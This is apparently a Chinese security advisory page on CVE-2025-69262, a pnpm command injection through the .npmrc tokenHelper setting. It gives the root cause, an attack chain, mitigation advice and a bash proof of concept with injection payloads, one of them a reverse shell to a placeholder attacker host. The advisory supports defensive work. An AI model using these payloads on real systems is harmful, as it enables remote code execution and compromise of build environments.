IPBUF安全漏洞报告
English
CVE-2025-69262 CVSS 7.5 高危

pnpm命令注入漏洞 (CVE-2025-69262)

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-69262
漏洞类型
命令注入 (Command Injection)
CVSS评分
7.5 高危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
pnpm (package manager)

相关标签

命令注入远程代码执行pnpmnpmrc环境变量注入包管理器漏洞CI/CD安全高危漏洞

漏洞概述

pnpm是一款流行的JavaScript包管理工具。本次发现的命令注入漏洞影响版本6.25.0至10.26.2,该漏洞源于在.npmrc配置文件中使用tokenHelper设置时,对环境变量的不安全替换处理。攻击者通过控制pnpm操作过程中的环境变量,可以实现远程代码执行(RCE)。该漏洞的CVSS评分为7.5,属于高危级别。攻击向量为本地(AV:L),需要高权限(PR:H),无需用户交互(UI:N)。机密性、完整性和可用性影响均被评为高危(C:H/I:H/A:H)。此漏洞特别危险,因为它可能影响持续集成/持续部署(CI/CD)构建环境,在这些环境中环境变量通常由外部系统控制。攻击者可以通过恶意构造的环境变量,在受害者执行pnpm命令时注入任意系统命令,从而获取目标系统的完全控制权。该问题已在10.27.0版本中修复。

技术细节

漏洞的根本原因在于pnpm在处理.npmrc配置文件中的tokenHelper选项时,会对环境变量进行不安全地展开和执行。具体来说,当.npmrc文件中配置了tokenHelper参数且该参数引用了环境变量时,pnpm会直接使用child_process.exec或类似方法执行命令,而没有对环境变量的内容进行充分的输入验证和清理。攻击者可以通过设置恶意的环境变量(如包含分号或管道等shell特殊字符),在tokenHelper执行时注入额外的系统命令。例如,如果攻击者能够控制PNPM_HOME或类似的环境变量,可以在其中嵌入命令分隔符和恶意payload。由于pnpm在安装依赖、执行脚本等操作时会频繁调用tokenHelper功能,攻击面较大。该漏洞的利用需要攻击者至少部分控制目标系统中的环境变量,这在CI/CD环境中尤为常见,因为构建脚本通常会从外部源读取配置并设置为环境变量。

攻击链分析

STEP 1
步骤1
攻击者获得或猜测目标系统的环境变量配置能力,例如通过CI/CD注入、供应链攻击或配置文件污染
STEP 2
步骤2
攻击者创建或修改.npmrc配置文件,添加tokenHelper选项并引用可控的环境变量,如${PNPM_TOKEN_HELPER}
STEP 3
步骤3
攻击者设置恶意的环境变量,在其中嵌入shell命令分隔符和恶意payload,如'; whoami > /tmp/pwned.txt; echo '
STEP 4
步骤4
受害者执行pnpm命令(如pnpm install),pnpm会读取.npmrc并尝试执行tokenHelper
STEP 5
步骤5
pnpm对环境变量进行不安全替换后执行命令,攻击者的恶意命令被注入并以pnpm进程权限执行
STEP 6
步骤6
攻击者获得远程代码执行能力,可以窃取敏感信息、植入后门或完全控制目标系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-69262 PoC - pnpm Command Injection via .npmrc tokenHelper # This PoC demonstrates how an attacker can achieve RCE by controlling environment variables # Setup: Create a malicious .npmrc file with tokenHelper cat > .npmrc << 'EOF' tokenHelper=${PNPM_TOKEN_HELPER} EOF # Attack: Set malicious environment variable containing command injection payload export PNPM_TOKEN_HELPER='; whoami > /tmp/pwned.txt; echo "' # When pnpm tries to use tokenHelper, it will execute: # Original: ${PNPM_TOKEN_HELPER} # After expansion: ; whoami > /tmp/pwned.txt; echo " # This results in arbitrary command execution # Trigger pnpm operation export PNPM_HOME="$(whoami)" pnpm install # Alternative payload for reverse shell: export PNPM_TOKEN_HELPER='; bash -i >& /dev/tcp/attacker/4444 0>&1; echo "'

影响范围

pnpm >= 6.25.0 且 < 10.27.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 检查并清理所有.npmrc文件中的tokenHelper配置;2) 在CI/CD管道中实施严格的环境变量输入验证,过滤分号、管道、反引号等shell特殊字符;3) 使用容器隔离和最小权限原则运行pnpm操作;4) 监控异常的命令执行行为和文件访问模式;5) 考虑暂时使用其他包管理工具作为过渡方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表